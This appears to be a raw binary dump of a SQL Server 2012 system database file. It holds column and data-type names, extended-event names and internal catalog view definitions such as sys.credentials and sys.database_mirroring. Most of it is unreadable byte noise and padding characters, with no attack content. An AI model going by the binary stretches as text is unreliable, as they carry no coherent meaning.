";z!6*$process_id6' progress6ӟ&property_id6&property_id6u"&property_id6ӟ*property_name6,property_value6(.&query_count6Xv:queue_clustered_index6x:queue_clustered_index6<8z:queue_clustered_index6Xv:queue_secondary_index6x:queue_secondary_index6<8z:queue_secondary_index6k$queue_size6(queued_loads6.queued_requests6}ȟreads6!,RecoveryForkID60*RecoveryModel6jY*request_count6)$request_id6@$request_id6'$request_id6|G$request_id6ZR$request_id6(.$request_id6)(request_time6@"row_count6'*rows_inserted6',rows_processed6'*rows_rejected6'run_id6ZRrun_id6(.&security_id6i.serverinfoclust6
$ServerName6)$session_id6'
$session_id6}ȟ$session_id6|G$session_id6(.$session_id6|$si_xdes_id6jY&signal_time60SoftwareVendorId68SoftwareVersionBuild68SoftwareVersionMajor68SoftwareVersionMinor6"SortOrder6.spt_valuesclust6}ȟ	 sql_text6dst6/st6%.st6ZRstage6@	$start_time6*$start_time6'$start_time6|G$start_time6ZR$start_time6)
state6*state6@status6'status6status6|Gstatus6ZRstatus6(.status6@$step_index6'&submit_time6|G&submit_time6'$table_name6k&target_name6*"thread_id6@4total_elapsed_time6'4total_elapsed_time6|G	4total_elapsed_time6ZR4total_elapsed_time6*
Htotal_processor_elapsed_time6,total_sessions6*>total_user_elapsed_time6aBtrace_xe_action_map_clust6@trace_xe_event_map_clust6}ȟ$tsql_stack6)type6ttype6<UnicodeComparisonStyle6.UnicodeLocaleId6&update_time6	 UserName6)wait_id6jY"wait_name6*	&wait_reason6jY"wait_time6	$write_time6}ȟwrites6a,xe_action_name6֩$request_id6֩$step_index6֩status6֩$start_time6֩
4total_elapsed_time6֩"row_count6֩spid6*property_name6dvalue6&ss_usertype6"type_name6$searchable64unsigned_attribute6source6type6$session_id6$request_id6	spid6
"thread_id6R$request_id6R$step_index6Rtype6Rstatus6R,rows_processed6R$start_time6R4total_elapsed_time6R$query_time6R sql_spid6R&source_info6/value6Jtype6*xe_event_name6W#&ss_usertype6W#"TYPE_NAME6W#	RADIX6W#$SEARCHABLE6W#4UNSIGNED_ATTRIBUTE6W#*SQL_DATA_TYPE6W#0SQL_DATETIME_SUB6Z6run_id6Z6status6Z6$start_time6Z64total_elapsed_time6Z6 progress6%.value64@Msource6 xml_data6'state6' severity6'type6'
status6xstatus6$process_id6(process_name6.total_cpu_usage6	(thread_count64total_elapsed_time6
"sent_time6*received_time6Xv*queuing_order6Xv
$service_id6Xv6service_contract_id6Xv$validation6x*queuing_order6x
$service_id6x6service_contract_id6x$validation6<8z*queuing_order6<8z
$service_id6<8z6service_contract_id6<8z$validation6u\{&rowset_guid6u\{@transaction_sequence_num6u\{	status6u\{
size!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,drRxHD4

l0N

`
 
t,\:


|
6Hd
H
,

					\	8		zhL6,2*R,fxTFj0(lzdN$XnJ&Jht:z@l@NRvR`_
d
:7dc
86\ddd///W#W#W#i%.%.%.					
""""""""""""))))))))))***++,,,,,,,--.....//001111222223333336666666777777788999:::::;;;;;;<<<<>>>???@@@@@AAAACCCCDDDEEEEEGHIIJJJJJJJJJJKKKKKKKKKKNNNNNOOPRRTUUUVVVVVVVWYYYYZZZZ[[[[[[[\\]]]]]^^^___``````aaaaaabbbbbbbbbbbbXvXvXvXvXvXvXvXvXvXvXv	xxxxxxxxxxx	<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z	u\{u\{u\{u\{u\{u\{u\{u\{u\{||||x}x}x}x}x}\\d		



		

RRRRRRRR	R	
R
RR
R
RRRRRRRRRp\H4 lXD0P<(t`L8$p\H4 lXD0|thT`c
g
,7d
9D///W#W#W#i%.%.%.					
""""""""""""))))))))))***++,,,,,,,--.....//001111222223333336666666777777788999:::::;;;;;;<<<<>>>???@@@@@AAAACCCCDDDEEEEEGHIIJJJJJJJJJJKKKKKKKKKKNNNNNOOPRRTUUUVVVVVVVWYYYYZZZZ[[[[[[[\\]]]]]^^^___``````aaaaaabbbbbbbbbbbbXvXvXvXvXvXvXvXvXvXvXv	xxxxxxxxxxx	<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z	u\{u\{u\{u\{u\{u\{u\{u\{u\{||||x}x}x}x}x}/JJJJ{{{W#W#W#W#W#W#W#W#		W#

W#W#W#

W#W#W#W#<(t`L8$p\H4 lXD0|hT@,xdP<(t`L8$p\H4 






l
X
D
0


|hT@,xdP<(





t
`
L
8
$

							p	\	H	4	 		lXD0|hT@,xdP<(t`L8$p\H4 lXD0|hT@,p\H4 lXD0|hT@,t`a
x
f7Te
{:///W#W#W#i%.%.%./JJJJ{{{W#W#W#W#W#W#W#W#		W#

W#W#W#

W#W#W#W#W#W#W#W#Z6Z6Z6Z6Z6Z6Z6zuzuzuii%.4@M4@M4@M''''''''	'
	'
xxx	
	


,--.....//001111222223333336666666777777788999:::::;;;;;;<<<<>>>???@@@@@AAAACCCCDDDEEEEEGHI/JJJJ{{{W#W#W#W#W#W#W#W#		W#

W#W#W#

W#W#W#W#W#W#W#W#Z6Z6Z6Z6Z6Z6Z6zuzuzuii%.4@M4@M4@M''''''''	6dF(




t
V
8

					f	H	*		vX:nhJ,xZ<jL.z\>P2 lN0|^@"~``
'O6f
9@K''_0'/3cl0'/3st'J'+'R0'_trace_xe_event_map_clust'{A'B'10'W#KQdatatypeinfoclust'Z6E' 'zu?'ƈ0'iMMserverinfoclust0'%.3cl0'%.3st'4@M;'
>''50'/@9value0'J@7name0'J@;number0'J@7type0'J@5low0'@Mdistribution_id0'@Epdw_node_id0'@7name0'@?position0'@Gpackage_name0'@Ixe_event_name0'{@Aobject_id0'{@?index_id0'{@Iphysical_name0'@Epdw_node_id0'@Gcounter_name0'@Ocounter_category0'@Iinstance_name0'@Icounter_value0'@Olast_update_time0'W#@Ess_usertype0'W#@;fixlen0'W#@=ODBCVer0'W#@ATYPE_NAME0'W#@ADATA_TYPE0'W#@Kdata_precision0'W#@Inumeric_scale0'W#	@9RADIX0'W#
@;length0'W#@KLITERAL_PREFIX0'W#@KLITERAL_SUFFIX0'W#
@?NULLABLE0'W#@CSEARCHABLE0'W#@SUNSIGNED_ATTRIBUTE0'W#@9MONEY0'W#@KAUTO_INCREMENT0'W#@MLOCAL_TYPE_NAME0'W#@=charbin0'W#@ISQL_DATA_TYPE0'W#@OSQL_DATETIME_SUB0'Z6@;run_id0'Z6@Epdw_node_id0'Z6@;status0'Z6@Cstart_time0'Z6@?end_time0'Z6@Stotal_elapsed_time0'Z6@?progress0'zu@Aobject_id0'zu@Udistribution_policy0'zu@_distribution_policy_desc0'i@Kattribute_name0'i@Mattribute_value0'%.@9value0'4@M@7name0'4@M@;source0'4@M@Cis_enabledXl1-t)zOu4$c eC

l
)
TL

R

}	u	,	QR'?r=GI`d

:7`g
{:լNW#i%.%.%.					
""""""""""""))))))))))***++,,,,,,,--.....//001111222223333336666666777777788999:::::;;;;;;<<<<>>>???@@@@@AAAACCCCDDDEEEEEGHIIJJJJJJJJJJKKKKKKKKKKNNNNNOOPRRTUUUVVVVVVVWYYYYZZZZ[[[[[[[\\]]]]]^^^___``````aaaaaabbbbbbbbbbbbXvXvXvXvXvXvXvXvXvXvXv	xxxxxxxxxxx	<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z	u\{u\{u\{u\{u\{u\{u\{u\{u\{||||x}x}x}x}x}W#W#W#W#Z6Z6Z6Z6Z6Z6Z6zuzuzuii%.4@M4@M4@M''''''''	'	
'
xxx		





l
X
D
0


|hT@,xdP<(





t
`
L
8
$

							p	\	H	4	 		lXD0|hT@,xdP<(t`L8$p\H4 lXD0|hT@,L8$p\H4 lXD0|hTt@,xdP<`W
&<Oh
820<
$ V%  >@?BA@?]e/F@???@@? 0< "0<$ V%  >?BA?]e/F?????@? 0< "0<$h W%  L>?B@A? 9Rm0 A?'0@?$0@?0x0@?N'(('0xN'@ 0< "0<$ X%  ?`?BA`?!W_0`A?'(('@ 0< "0<$ X%  >@B@| 7Ne@?@?A? A? 0< "0<$ Y%  >>BA>8@$A??? 0< "0< "0< "0< "0< "0< "0< "0<	 "0<
 "0< "0<R "0<R "0<R "0<R "0<R "0<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ity0@?!float0@?!image0@?int0@?/int identity0@@@!nchar0@?!ntext0@?%numeric0@?;numeric() identity0@?'nvarchar0@?real0@?1smalldatetime0@?'smallint0@?9smallint identity0@?+smallmoney0@?-sql_variant0@?!table0@?text0@?time0@?)timestamp0@?%tinyint0@?7tinyint identity0@?7uniqueidentifier0@?)varbinary0@?%varchar0@?xml

((\bigintdatetimeoffsetfloatint identityntextumeric() identitysmalldatetimemoneyinyintvarbinary@

%&*;@H&'M	SL0<W#$L%LL>=
=@B@ai&;Pez
"7L@?e@@@g@@@i@?j@?@@@@@@@@@@@@@?@?@?@?A?@@@@@@??	@@?@???[@@?]L0<W#$L%LL>1C=6W@B@A6W@MU"9Pg~6@?@?@@@??@?A?
??@?@?@???@?@?"@?$A?&??5@?@@?A?L0<W# "0<W#$L%LLL>?BA?t| 5J_B?@?@?@?L0<W#	 "!!!!!!!!>`i
k
<j
o9`H0<W#$	L%LL?6<$$CyABCyA CxDw6e.M~	6WvQz0@?#bigint0@?5bigint identity0@?#binary0@?bit0@?char0@?%clr_udt0@?date0@@@)datetime20@?3datetimeoffset0@?%decimal0@?;decimal() identity0@?!float0@?!image0@?int0@?/int identity0@@@!nchar0@?!ntext0@?%numeric0@?;numeric() identity0@?'nvarchar0@?real0@?1smalldatetime0@?'smallint0@?9smallint identity0@?+smallmoney0@?-sql_variant0@?!table0@?text0@?time0@?)timestamp0@?%tinyint0@?7tinyint identity0@?7uniqueidentifier0@?)varbinary0@?%varchar0@?xml

((\bigintdatetimeoffsetfloatint identityntextumeric() identitysmalldatetimemoneyinyintvarbinary@

%&*;@H&'M	SL0<W#$L%LL>=
=@B@ai&;Pez
"7L@?e@@@g@@@i@?j@?@@@@@@@@@@@@@?@?@?@?A?@@@@@@??	@@?@???[@@?]L0<W#$L%LL>1C=6W@B@A6W@MU"9Pg~6@?@?@@@??@?A?
??@?@?@???@?@?"@?$A?&??5@?@@?A?L0<W#$L%LLL>?BA?t| 5J_B?@?@?@?L0<W#	 "0<i$?&=@A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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!u
,@T.B3
A=`k
m
<*l
9K0<W#$L%LL>@B@t| 5J_@?@?@B?A?L0<W#$L%LL>6W?B0B6W?:B%A?@?L0<W#$L%LL?@B@:B%B?@?L0<W#$L%LL?@B@:B%B?@A?L0<W# "0<i$?&=@A@.61H_v??????
?????????????????d???f???h???j???l???n???p??q??0<W#$	L%LL?6<$$ʃABʃA CxRw@a	(Y2QpIr0@?#bigint0@?5bigint identity0@?#binary0@?bit0@?char0@?date0@@@)datetime20@?3datetimeoffset0@?%decimal0@?;decimal() identity0@?!float0@?!image0@?int0@?/int identity0@@@!nchar0@?!ntext0@?%numeric0@?;numeric() identity0@?'nvarchar0@?real0@?1smalldatetime0@?'smallint0@?9smallint identity0@?+smallmoney0@?-sql_variant0@?!table0@?text0@?time0@?)timestamp0@?%tinyint0@?7tinyint identity0@?UDT0@?7uniqueidentifier0@?)varbinary0@?%varchar0@?xml

((Ubigintdatetimeecimal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0??)DESCENDING_INDEXES0??"DROP_COLUMN0??-INCREASE_COLUMN_LENGTH0??%MAX_INDEX_COLS0??,MAX_OWNER_NAME_LENGTH0??&MAX_QUAL_LENGTH0??(MULTI_RESULT_SETS0??)NAMED_TRANSACTIONS0?@?#RENAME_TABLE0??(SAVEPOINT_SUPPORT0?? SP_RENAME0??(SPROC_AS_LANGUAGE0??(SYS_SPROC_VERSION0??#TABLE_LENGTH0??!TABLE_TERM0??#TX_ISOLATION0??$USERID_LENGTH((ACCESSIBLE_SPROCDBMS_NAMEDL_IN_TRANSACTIONINCREASE_COLUMN_LENGTHMAX_OWNER_NAME_LENGTHNAMED_TRANSACTIONSQUALIFIER_TERMRENAME_TABLESP_RENAMETABLE_LENGTHX_ISOLATION@*@Ugu	@0<i "0<i$%=

{	@A{	@%PqD`|0??!11.00.30000@?1280??160??20??database0??+Microsoft SQL Server0??>Microsoft SQL Server 2012 - 11.0.3000.00??owner0??table0`A?Y((<11.00.300028databaseMicrosoft SQL Server 2012 - 11.0.3000.0Y@	
';!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!{Y7`J%<aUn
{:iS0<%.$-%G?;@%D@/F]t,CZq)@Wn	&	=	T	k							
#
:
Q
h






	 7Ne|4Kby

1
H
_
v





.E\s+BYp(?Vm%<Sj"9Pg~6Md{3Jax0G^u-D[r*AXoA?BBBA?A?@A?0A?A?@?@@@
@@@@@?
@???????@@?@@@@?@@@@@@@???????$???*???3???5???>???@???H???J???P???V???]@??e@@@g???i???l?????????????????????????????????????????????????????????@??@@@@@@@?????????????????@??@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@??????@@@@@@@???????????????????????????????????????????	??????
?@@???????????@?????@@? ???"???$?@@?(???*???,???.???0???2???4????????????
????????????$???+???7???9???;???=???????A???C???E???G???O???Q???S???U???W???Z???\???_???a?@@?g???i???k???m???o???z???~??????????@@?????????????????????????????????????'???'???'???'???'?@?'?@? '?@?#'?@?&'?@?)'?@?,'?@?/'?@?2'?@?5'?@?8'?@?;'?@?>'?@?A'?@?D'?@?G'?@?J'?@?M'?@?P'?@?S'?@?W'?@?*?@?*?@?+?@@?	+?@?
+??0<4@M "0<4@M "0<4@M "0< "0< "0< "0< "0< "0< "0<' "0<' "0<' "0<' "0<' "0<' "0<' "0<'	 "0<'
 "0<' "0<x "0<x "0<x "0< "0< "0< "0< "0< "0< "0< "0<	 "0<
 "0< "0< "0<
 "0< "0< "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!3gE#yW5iG%{Y7`<4o
<;z0<x} "0<x} "0<x} "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(p
8'v+ry%5x<ssӛB
CӛB!!\`fS@3	r			
b



0yZ
R


HHwCx%Fi OHuB0D4)nN&_#XT!VLw0??1assembly_load0??)attention0??+auto_stats0???background_job_error0???begin_tran_completed0??=begin_tran_starting0??Ebitmap_disabled_warning0??Cblocked_process_report0??9broker_activation0??=broker_conversation0??Ibroker_conversation_group0??Gbroker_corrupted_message0??Wbroker_forwarded_message_dropped0??Qbroker_forwarded_message_sent0??Ebroker_message_classify0??Obroker_message_undeliverable0??]broker_mirrored_route_state_changed0??Abroker_queue_disabled0??abroker_remote_message_acknowledgement0??Qbroker_transmission_exception0??Acommit_tran_completed0???commit_tran_starting0??Ccpu_threshold_exceeded0??/cursor_close0??3cursor_execute0??Kcursor_implicit_conversion0??-cursor_open0??3cursor_prepare0??7cursor_recompile0??7cursor_unprepare0@?Idatabase_file_size_change0??Udatabase_mirroring_state_change0??Kdatabase_suspect_data_page0??Adegree_of_parallelism0??Gdeprecation_announcement0??Ideprecation_final_support0??5dtc_transaction0@@?3error_reported0??7errorlog_written0??Sexception_ring_buffer_recorded0??3exchange_spill0??9exec_prepared_sql0??9execution_warning0??=existing_connection0??Efull_text_crawl_started0??Efull_text_crawl_stopped0??/hash_warning0??1lock_acquired0??-lock_cancel0??1lock_deadlock0??=lock_deadlock_chain0??5lock_escalation0??1lock_released0??/lock_timeout0??Mlock_timeout_greater_than_00??!login0??#logout0??Imissing_column_statistics0??Cmissing_join_predicate0??+module_end0??/module_start0??3object_altered0??3object_created0??3object_deleted0??+oledb_call0??5oledb_data_read0??-oledb_error0??Koledb_provider_information0??Aoledb_query_interface0??Aplan_guide_successful0??Eplan_guide_unsuccessful0???preconnect_completed0??=preconnect_starting0??-prepare_sql0??cprogress_report_online_index_operation0??Cpromote_tran_completed0??Apromote_tran_starting0??-qn_dynamics0??;qn_parameter_table0??5qn_subscription0??-qn_template0??Squery_cache_removal_statistics0@?Uquery_post_compilation_showplan0@?Qquery_post_execution_showplan0@?Oquery_pre_execution_showplan0??Erollback_tran_completed0??Crollback_tran_starting0@?1rpc_completed0??/rpc_starting0??=save_tran_completed0??;save_tran_starting0??/scan_started0??/scan_stopped0???server_memory_change0??9server_start_stop0??/sort_warning0??/sp_cache_hit0??5sp_cache_insert0??1sp_cache_miss0??5sp_cache_remove0??Csp_statement_completed0??Asp_statement_starting0??=sql_batch_completed0??;sql_batch_starting0??Esql_statement_completed0@?Esql_statement_recompile0??Csql_statement_starting0??5sql_transaction0??5transaction_log0@??ucs_connection_setup0??Quncached_sql_b!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`e
7 	xx
:o[					
""""""""""""))))))))))***++,,,,,,,--.....//001111222223333336666666777777788999:::::;;;;;;<<<<>>>???@@@@@AAAACCCCDDDEEEEEGHI!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`B(	<@
]"k~<@ ?8CREATE VIEW sys.sac_state AS
	SELECT component_name,
		convert(sysname, N'mssqlsystemresource') collate catalog_default AS database_name,
		schema_name collate catalog_default AS schema_name,
		object_name collate catalog_default AS object_name,
		state, type
	FROM sys.obd_state
0
@ n8CREATE VIEW sys.master_key_passwords AS
	SELECT
		co.id AS credential_id,
		convert(uniqueidentifier, 
			stringtovarbinary(convert(varchar(128),
									SUBSTRING ( co.name, 
												charindex('_', co.name) + 1,
												charindex('_', co.name, charindex('_', co.name) + 1) - charindex('_', co.name) - 1)
			   )			   )		 ) AS family_guid
	FROM master.sys.sysclsobjs co
	LEFT JOIN master.sys.sysobjvalues ov ON ov.valclass = 28 AND ov.objid = co.id AND ov.subobjid = 0 AND ov.valnum = 1
	WHERE co.class = 57
		AND has_access('CR', 0) = 1 AND co.name LIKE '##DBMKEY_%'
0 |8CREATE VIEW sys.database_recovery_status AS
	SELECT d.id AS database_id,
		p.database_guid,
		p.family_guid,
		p.last_log_backup_lsn,
		p.recovery_fork_guid,
		p.first_recovery_fork_guid,
		p.fork_point_lsn
	FROM master.sys.sysdbreg d OUTER APPLY OpenRowset(TABLE DBRECOVER, d.id) p
	WHERE d.id < 0x7fff
		AND has_access('DB', d.id) = 1
0@ r8CREATE VIEW sys.database_mirroring AS
	SELECT d.id AS database_id,
		p.guid AS mirroring_guid,
		p.state AS mirroring_state, p.state_desc AS mirroring_state_desc,
		p.role AS mirroring_role, p.role_desc AS mirroring_role_desc,
		p.role_sequence AS mirroring_role_sequence,
		p.safety_level AS mirroring_safety_level,
		p.safety_level_desc AS mirroring_safety_level_desc,
		p.safety_sequence AS mirroring_safety_sequence,
		p.partner_name AS mirroring_partner_name,
		p.partner_instance AS mirroring_partner_instance,
		p.witness_name AS mirroring_witness_name,
		p.witness_state AS mirroring_witness_state,
		p.witness_state_desc AS mirroring_witness_state_desc,
		p.failover_lsn AS mirroring_failover_lsn,
		p.connection_timeout AS mirroring_connection_timeout,
		p.redo_queue AS mirroring_redo_queue,
		p.redo_queue_type AS mirroring_redo_queue_type,
		p.end_of_log_lsn AS mirroring_end_of_log_lsn,
		p.safe_relication_lsn AS mirroring_replication_lsn
	FROM master.sys.sysdbreg d OUTER APPLY OpenRowset(TABLE DBMIRROR, d.id) p
	WHERE d.id < 0x7fff
		AND has_access('DB', d.id) = 1
0@ 8CREATE VIEW sys.credentials AS
	SELECT
		co.id AS credential_id,
		co.name,
		convert(nvarchar(4000), ov.value) as credential_identity,
		co.created as create_date,
		co.modified as modify_date,
		n.name as target_type,
		r.indepid AS target_id
	FROM master.sys.sysclsobjs co
	LEFT JOIN master.sys.sysobjvalues ov ON ov.valclass = 28 AND ov.objid = co.id AND ov.subobjid = 0 AND ov.valnum = 1
	LEFT JOIN master.sys.syssingleobjrefs r ON r.depid = co.id AND r.class = co.intprop AND r.depsubid = 0	
	LEFT JOIN sys.syspalvalues n ON n.class = 'SRCL' AND n.value = co.intprop
	WHERE co.class = 57
		AND has_access('CR', 0) = 1
0 [8CREATE VIEW sys.sac_state AS
	SELECT component_name,
		convert(sysname, N'mssqlsystemresource') collate catalog_default AS database_name,
		schema_name collate catalog_default AS schema_name,
		object_name collate catalog_default AS object_name,
		state, type
	FROM sys.obd_state
	UNION ALL
	SELECT convert(sysname, c.name) AS component_name,
		convert(sysname, N'master') collate catalog_default AS database_name,
		s.name collate catalog_default AS schema_name,
		o.name collate catalog_default AS object_name,
		convert(tinyint, convert(int, c.value) & 1) AS state,
		o.type
	FROM master.sys.sysobjkeycrypts k
	JOIN master.sys.sysschobjs o ON o.id = k.id
	JOIN master.sys.sysxlgns l ON l.type = 'M' AND substring(l.sid, 13, 28) = k.thumbprint
	JOIN master.sys.configurations c ON c.name = substring(l.name, 3, len(l.name) - 4)
	LEFT JOIN master.sys.schemas s ON s.schema_id = o.nsid
	WHERE k.class = 1 AND k.type = 'INCP'
	UNION ALL
	SELECT convert(sysname, c.name) AS component_name,
		convert(sysname, N'msdb') collate catalog_default AS database_name,
		s.name collate catalog_default AS schema_name,
		o.name collate catalog_default AS object_name,
		convert(tinyint, convert(int, c.value) & 1) AS state,
		o.type
	FROM msdb.sys.sysobjkeycrypts k
	JOIN msdb.sys.sysschobjs o ON o.id = k.id
	JOIN master.sys.sysxlgns l ON l.type = 'M' AND substring(l.sid, 13, 28) = k.thumbprint
	JOIN master.sys.configurations c ON c.name = substring(l.name, 3, len(l.name) - 4)
	LEFT JOIN msdb.sys.schemas s ON s.schema_id = o.nsid
	WHERE k.class = 1 AND k.type = 'INCP'
